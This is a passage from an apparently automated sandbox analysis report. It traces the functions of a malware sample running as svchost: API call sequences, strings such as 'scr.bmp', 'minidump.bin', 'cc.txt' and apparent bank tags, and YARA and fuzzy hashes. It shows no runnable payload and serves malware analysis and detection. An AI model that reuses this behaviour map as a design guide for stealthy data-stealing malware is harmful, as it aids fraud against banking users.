                                                                                                                                                                                                              • Part of subcall function 02D250A0: VirtualQuery.KERNEL32(02D250A0,?,0000001C), ref: 02D250C8
                                                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02D03D45
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D3A4), ref: 02D03D77
                                                                                                                                                                                                            • GetCurrentProcessId.KERNEL32(00000000,00000040,?,00000000,00000000), ref: 02D03DF8
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000000), ref: 02D03DFF
                                                                                                                                                                                                            • MiniDumpWriteDump.DBGHELP(00000000), ref: 02D03E06
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D3A4), ref: 02D03E1A
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: BackslashPath$Current$DumpProcess$MiniQueryThreadVirtualWrite
                                                                                                                                                                                                            • String ID: DEBUG$csm$minidump.bin$scr.bmp$sysinfo.log$\t
                                                                                                                                                                                                            • API String ID: 2628503961-2701598188
                                                                                                                                                                                                            • Opcode ID: 9401c02db9a77b0f0950bd4f2b19648dea071f9b6a6f060d26de9adbaa2ac6ee
                                                                                                                                                                                                            • Instruction ID: 7def605bc4d7edcd735a1a3308a5b3b1405c1dcd71c8772218cb677f57d233e0
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 9401c02db9a77b0f0950bd4f2b19648dea071f9b6a6f060d26de9adbaa2ac6ee
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 969114306046598FDB28DF38A4E87EABBE2EF45304F6481D5D889DB3A0DB719D45CB90
                                                                                                                                                                                                            Function 02D13140 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 97stringthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D13160
                                                                                                                                                                                                            • GetLogicalDriveStringsA.KERNEL32(00000104,?), ref: 02D131A8
                                                                                                                                                                                                            • SetErrorMode.KERNEL32(00000001), ref: 02D131BE
                                                                                                                                                                                                            • GetCurrentThread.KERNEL32 ref: 02D131C6
                                                                                                                                                                                                            • SetThreadPriority.KERNEL32(00000000), ref: 02D131CD
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(02D5DFC4,?,00000005), ref: 02D131EF
                                                                                                                                                                                                            • GetDriveTypeA.KERNEL32(02D5DFC4), ref: 02D131F6
                                                                                                                                                                                                              • Part of subcall function 02D13000: memset.MSVCRT ref: 02D13021
                                                                                                                                                                                                              • Part of subcall function 02D13000: GetDriveTypeA.KERNEL32(02D5DFC4,?,?,?), ref: 02D13038
                                                                                                                                                                                                              • Part of subcall function 02D13000: SetCurrentDirectoryA.KERNEL32(02D5DFC4,?,?,?), ref: 02D13048
                                                                                                                                                                                                              • Part of subcall function 02D13000: _snprintf.MSVCRT ref: 02D13075
                                                                                                                                                                                                              • Part of subcall function 02D13000: CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000003,A0000000,00000000), ref: 02D13097
                                                                                                                                                                                                              • Part of subcall function 02D13000: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,00000000,75919300), ref: 02D130C1
                                                                                                                                                                                                              • Part of subcall function 02D13000: LockFile.KERNEL32(00000000,00000000,00000000,00000104,00000000), ref: 02D130D0
                                                                                                                                                                                                              • Part of subcall function 02D13000: WriteFile.KERNEL32(00000000,?,00000104,00000000,00000000), ref: 02D130E9
                                                                                                                                                                                                              • Part of subcall function 02D13000: UnlockFile.KERNEL32(00000000,00000000,00000000,00000104,00000000), ref: 02D130FA
                                                                                                                                                                                                              • Part of subcall function 02D13000: GetHandleInformation.KERNEL32(00000000,?), ref: 02D13117
                                                                                                                                                                                                              • Part of subcall function 02D13000: CloseHandle.KERNEL32(00000000), ref: 02D13128
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(02D5DFC4,?,00000005), ref: 02D1323F
                                                                                                                                                                                                            • GetDriveTypeA.KERNEL32(02D5DFC4), ref: 02D13246
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$Drive$Type$CurrentHandleThreadlstrcpynmemset$CloseCreateDirectoryErrorInformationLockLogicalModePointerPriorityStringsUnlockWrite_snprintf
                                                                                                                                                                                                            • String ID: AppEvents$Console$Control Panel$Environment$Identities$Software$System
                                                                                                                                                                                                            • API String ID: 1338089429-328203234
                                                                                                                                                                                                            • Opcode ID: f3828a911763e826442fbfaaeaceffbc19794909db4054efda70012248c7fff2
                                                                                                                                                                                                            • Instruction ID: e98882e7a471e96028f95eb1727376150abef1463f507627dabacfe9d1414805
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f3828a911763e826442fbfaaeaceffbc19794909db4054efda70012248c7fff2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8C31B2B5E402A4AFDB20EF95B858BDF7BA5FB04708F904988E90596780C7B05E54CFA1
                                                                                                                                                                                                            Function 02D220F0 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 67sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214}), ref: 02D2211C
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D2212D
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D22141
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D2214F
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D21FA0,00000000,00000000,00000000), ref: 02D22164
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40), ref: 02D22175
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D2217A
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D2218E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D2219C
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c59011e), ref: 02D221A7
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,5c59011e,RAIFF), ref: 02D221C1
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02D221CA
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$Sleep$CloseInformationMutex$BackslashCreateObjectOpenPathReleaseSingleThreadWait
                                                                                                                                                                                                            • String ID: 5c59011e$Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214}$RAIFF$\t
                                                                                                                                                                                                            • API String ID: 505831200-3457321471
                                                                                                                                                                                                            • Opcode ID: 6b0c611d9edfda6c29efed485e12f44f59fb1b4a55c59e82ff20f9c650a1ef95
                                                                                                                                                                                                            • Instruction ID: 5c9d847fef26dbed810a9e80e36d0d93dc363807cee184f9b9d551d66c87174f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6b0c611d9edfda6c29efed485e12f44f59fb1b4a55c59e82ff20f9c650a1ef95
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3211D3349C4731BBF3225BA0AC0EF1A3BD85F64B58F604904FE45A13C09BF0AD18C666
                                                                                                                                                                                                            Function 02D1C978 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 162COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C590552), ref: 02D1C997
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D1C9D1
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D1C9DB
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D1C9E3
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D1C9F4
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D1C9FB
                                                                                                                                                                                                            • GetFileAttributesA.KERNEL32(?), ref: 02D1CA31
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02D1CA70
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C590552,?,?), ref: 02D1CAB7
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$BackslashDirectoryErrorLast$AdminAttributesCreateCurrentFileFolderMakeSystemUser
                                                                                                                                                                                                            • String ID: 5C590552$\$ctunnel.zip$path_ctunnel.txt
                                                                                                                                                                                                            • API String ID: 2545201083-319092976
                                                                                                                                                                                                            • Opcode ID: 0688f4470588706f2e3cfe525f125c2bf533da5e0c23cc443c320575e84b44f6
                                                                                                                                                                                                            • Instruction ID: 636e91d36ef5acd42a6b5d96e3a5e36048085d0605108695d5bfc27ceb8726d2
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0688f4470588706f2e3cfe525f125c2bf533da5e0c23cc443c320575e84b44f6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: AF5128349882599FCB16CF24E868BE67BE4EF59300F1485D6D8CAC7341DB709D88CB51
                                                                                                                                                                                                            Function 02D080A0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 156synchronizationmemorythreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02D080BC
                                                                                                                                                                                                            • GetThreadDesktop.USER32(00000000,?,?,02D07F92,00000000,00000000), ref: 02D080C3
                                                                                                                                                                                                            • SetThreadDesktop.USER32(00000000,?,?,02D07F92,00000000,00000000), ref: 02D080CF
                                                                                                                                                                                                              • Part of subcall function 02D0D850: GetTickCount.KERNEL32 ref: 02D0D858
                                                                                                                                                                                                              • Part of subcall function 02D0D850: HeapCreate.KERNEL32(00000000,00000000,00000000,?,?,02D07F92,00000000,00000000), ref: 02D0D869
                                                                                                                                                                                                              • Part of subcall function 02D0D850: CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00002939,02D4F5A0), ref: 02D0D893
                                                                                                                                                                                                              • Part of subcall function 02D0D850: MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,?,02D07F92,00000000,00000000), ref: 02D0D8AC
                                                                                                                                                                                                              • Part of subcall function 02D0D850: CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,?,02D4F54C), ref: 02D0D8D9
                                                                                                                                                                                                              • Part of subcall function 02D0D850: MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,?,02D07F92,00000000,00000000), ref: 02D0D8EC
                                                                                                                                                                                                              • Part of subcall function 02D0D850: CreateMutexA.KERNEL32(00000000,00000000,02D4F670,?,?,02D07F92,00000000,00000000), ref: 02D0D90A
                                                                                                                                                                                                              • Part of subcall function 02D0D850: CreateMutexA.KERNEL32(00000000,00000000,00000000,?,?,02D07F92,00000000,00000000), ref: 02D0D91B
                                                                                                                                                                                                              • Part of subcall function 02D0D850: CreateMutexA.KERNEL32(00000000,00000000,02D4F630,?,?,02D07F92,00000000,00000000), ref: 02D0D92F
                                                                                                                                                                                                              • Part of subcall function 02D0D850: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,02D07F92,00000000,00000000), ref: 02D0D948
                                                                                                                                                                                                              • Part of subcall function 02D0D850: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,02D07F92,00000000,00000000), ref: 02D0D95B
                                                                                                                                                                                                              • Part of subcall function 02D0D850: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,02D07F92,00000000,00000000), ref: 02D0D96E
                                                                                                                                                                                                              • Part of subcall function 02D0D9A0: memset.MSVCRT ref: 02D0D9B9
                                                                                                                                                                                                              • Part of subcall function 02D0D9A0: GetVersionExA.KERNEL32(?,?,00000000,?), ref: 02D0D9D2
                                                                                                                                                                                                              • Part of subcall function 02D29AA0: malloc.MSVCRT ref: 02D29AB2
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,00000008,00000008), ref: 02D08167
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,00000008,00000005), ref: 02D08175
                                                                                                                                                                                                            • lstrcpyA.KERNEL32(00000000,fuck), ref: 02D0817F
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: IsNetworkAlive.SENSAPI(02D06BEE,00000000), ref: 02D14B03
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: IsUserAnAdmin.SHELL32 ref: 02D14B11
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: DnsFlushResolverCache.DNSAPI ref: 02D14B1B
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: memset.MSVCRT ref: 02D14B38
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: lstrcpynA.KERNEL32(00000000,http://,00000104,?,00000000,75920F10), ref: 02D14B57
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: StrNCatA.SHLWAPI(00000000,www.bing.com,00000104), ref: 02D14B70
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02D14B83
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: memset.MSVCRT ref: 02D14B9C
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: lstrcpynA.KERNEL32(00000000,http://,00000104,?,?,?,?,00000000,75920F10), ref: 02D14BB5
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: StrNCatA.SHLWAPI(00000000,www.microsoft.com,00000104), ref: 02D14BC8
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02D14BD5
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,00000000,?,00000000), ref: 02D08222
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,00000000), ref: 02D08231
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,00000000), ref: 02D08260
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D0826F
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D0827D
                                                                                                                                                                                                            • SetEvent.KERNEL32(00000000), ref: 02D08286
                                                                                                                                                                                                            • Sleep.KERNEL32(00002710,?,00000000), ref: 02D082CC
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Create$EventFileMutexObjectSingleWait$HeapThreadmemset$AllocCheckConnectionDesktopInternetMappingViewlstrcpyn$AdminAliveCacheCountCurrentFlushNetworkReleaseResolverSleepTickUserVersionlstrcpymalloc
                                                                                                                                                                                                            • String ID: SYSTEM!216041!38425AAC$fuck
                                                                                                                                                                                                            • API String ID: 2939156510-229730093
                                                                                                                                                                                                            • Opcode ID: e251c44c12577d7eeebe6e659ece88286f6c16a49c9594d7060411a554962d76
                                                                                                                                                                                                            • Instruction ID: 83ba4fb801656b18c81f76b825eff38ced17120e1d18fe6f4f0dddcb26f0549b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e251c44c12577d7eeebe6e659ece88286f6c16a49c9594d7060411a554962d76
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 55518079941340AFD7149F64E988FA63BE5FB49314F158AA9E9448B3E1C770AC14CF60
                                                                                                                                                                                                            Function 02D1E080 Relevance: 26.3, APIs: 13, Strings: 2, Instructions: 98memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c5905a8), ref: 02D1E0B0
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c5905a8), ref: 02D1E0ED
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D1E102
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D1E10C
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D1E114
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D1E125
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D1E12C
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02D1E139
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c5905a8,?,?), ref: 02D1E161
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,5c5905a8,02D4A2A8), ref: 02D1E17F
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D1E182
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02D1E18F
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D1E192
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HeapPath$Backslash$DirectoryErrorLastProcess$AdminCreateCurrentFolderFreeMakeSystemUserValidate
                                                                                                                                                                                                            • String ID: 5c5905a8$cc.txt
                                                                                                                                                                                                            • API String ID: 2491352018-948045845
                                                                                                                                                                                                            • Opcode ID: 3c653ba0e1b9cc846371a6a2b1ca234e1e517abde97f567c839f71b200a8be6e
                                                                                                                                                                                                            • Instruction ID: 062e0a53f53b3975fc3ae55abe3e75261968e17cee60b08fe7d213b8d3673cd6
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3c653ba0e1b9cc846371a6a2b1ca234e1e517abde97f567c839f71b200a8be6e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F231F135A40319BBEB20AB74BC58BAB7B98EF55B01F504950FD86C7300DAB09C84C7A0
                                                                                                                                                                                                            Function 02D230B0 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 67sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF777FF-8989-4fe1-977D-95CD777C0214}), ref: 02D230DC
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D230ED
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D23101
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D2310F
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D22F60,00000000,00000000,00000000), ref: 02D23124
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40), ref: 02D23135
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D2313A
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D2314E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D2315C
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5CF94), ref: 02D23167
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,02D5CF94,RSTYLE), ref: 02D23181
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02D2318A
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$Sleep$CloseInformationMutex$BackslashCreateObjectOpenPathReleaseSingleThreadWait
                                                                                                                                                                                                            • String ID: Local\{EAF777FF-8989-4fe1-977D-95CD777C0214}$RSTYLE$\t
                                                                                                                                                                                                            • API String ID: 505831200-280280100
                                                                                                                                                                                                            • Opcode ID: 6885be637882f9acda6a7e5ddd82c913ae56664f6e615ade5fbd91dcdeb9d538
                                                                                                                                                                                                            • Instruction ID: f7a50f0aa19bead7ff82c3dbb5ed587c95b50bc2cff7105b9f70e27cde4b3519
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6885be637882f9acda6a7e5ddd82c913ae56664f6e615ade5fbd91dcdeb9d538
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 02112234AC43367BF2215BA0AC0EF1A37D89F60B18F204504F946613C09BF4AC18CBBA
                                                                                                                                                                                                            Function 02D22108 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 56sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214}), ref: 02D2211C
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D2212D
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D22141
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D2214F
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D21FA0,00000000,00000000,00000000), ref: 02D22164
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40), ref: 02D22175
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D2217A
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D2218E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D2219C
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c59011e), ref: 02D221A7
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,5c59011e,RAIFF), ref: 02D221C1
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02D221CA
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$Sleep$CloseInformationMutex$BackslashCreateObjectOpenPathReleaseSingleThreadWait
                                                                                                                                                                                                            • String ID: 5c59011e$Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214}$RAIFF$\t
                                                                                                                                                                                                            • API String ID: 505831200-3457321471
                                                                                                                                                                                                            • Opcode ID: eaa1d4b24b68d6870796b64b33e3b72e5f3bf93fd22e11fab155596350e6ca79
                                                                                                                                                                                                            • Instruction ID: ef40457735ec8d1a78c88dec69bb66ffa0b54246d56096060c52a40e42bc642b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: eaa1d4b24b68d6870796b64b33e3b72e5f3bf93fd22e11fab155596350e6ca79
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A511A034AC4331BBF3225B60AC1EF1A3BD45F64B59F608904FE45A13C08BF09C18CA66
                                                                                                                                                                                                            Function 02D0A000 Relevance: 25.9, APIs: 17, Instructions: 354windowthreadtimeCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetAncestor.USER32(00000000,00000002,00000080,?,00000000), ref: 02D0A00E
                                                                                                                                                                                                              • Part of subcall function 02D0DFB0: GetWindowLongA.USER32(75A8BCB0,000000F0), ref: 02D0DFCB
                                                                                                                                                                                                              • Part of subcall function 02D0DFB0: GetLastActivePopup.USER32(75A8BCB0), ref: 02D0DFD9
                                                                                                                                                                                                              • Part of subcall function 02D0DFB0: GetWindow.USER32(00000000,00000005), ref: 02D0DFF3
                                                                                                                                                                                                              • Part of subcall function 02D0DFB0: GetWindow.USER32(00000000), ref: 02D0DFF6
                                                                                                                                                                                                              • Part of subcall function 02D0DFB0: GetWindowInfo.USER32(00000000,?), ref: 02D0E00C
                                                                                                                                                                                                              • Part of subcall function 02D0DFB0: GetWindow.USER32(00000000,00000004), ref: 02D0E015
                                                                                                                                                                                                              • Part of subcall function 02D0DFB0: GetWindow.USER32(00000000,00000003), ref: 02D0E04E
                                                                                                                                                                                                            • SendMessageA.USER32(?,00000010,00000000,00000000), ref: 02D0A04F
                                                                                                                                                                                                            • GetAncestor.USER32(00000000,00000002,00000000), ref: 02D0A0D5
                                                                                                                                                                                                            • SendMessageTimeoutA.USER32(00000000,00000021,00000000,00000001,00000002,00000064,?), ref: 02D0A0FC
                                                                                                                                                                                                            • PostMessageA.USER32(00000000,00000020,00000000,00000001), ref: 02D0A141
                                                                                                                                                                                                            • PostMessageA.USER32(00000000,00000000,00000000,00000001), ref: 02D0A195
                                                                                                                                                                                                              • Part of subcall function 02D09EB0: GetTickCount.KERNEL32 ref: 02D09F3A
                                                                                                                                                                                                              • Part of subcall function 02D09EB0: GetClassLongA.USER32(00000000,000000E6), ref: 02D09F8D
                                                                                                                                                                                                            • PostMessageA.USER32(00000000,00000112,?,?), ref: 02D0A1FE
                                                                                                                                                                                                            • PostMessageA.USER32(00000000,0000007B,00000000,?), ref: 02D0A229
                                                                                                                                                                                                            • PostMessageA.USER32(00000000,0000007B,00000000,00000000), ref: 02D0A2A5
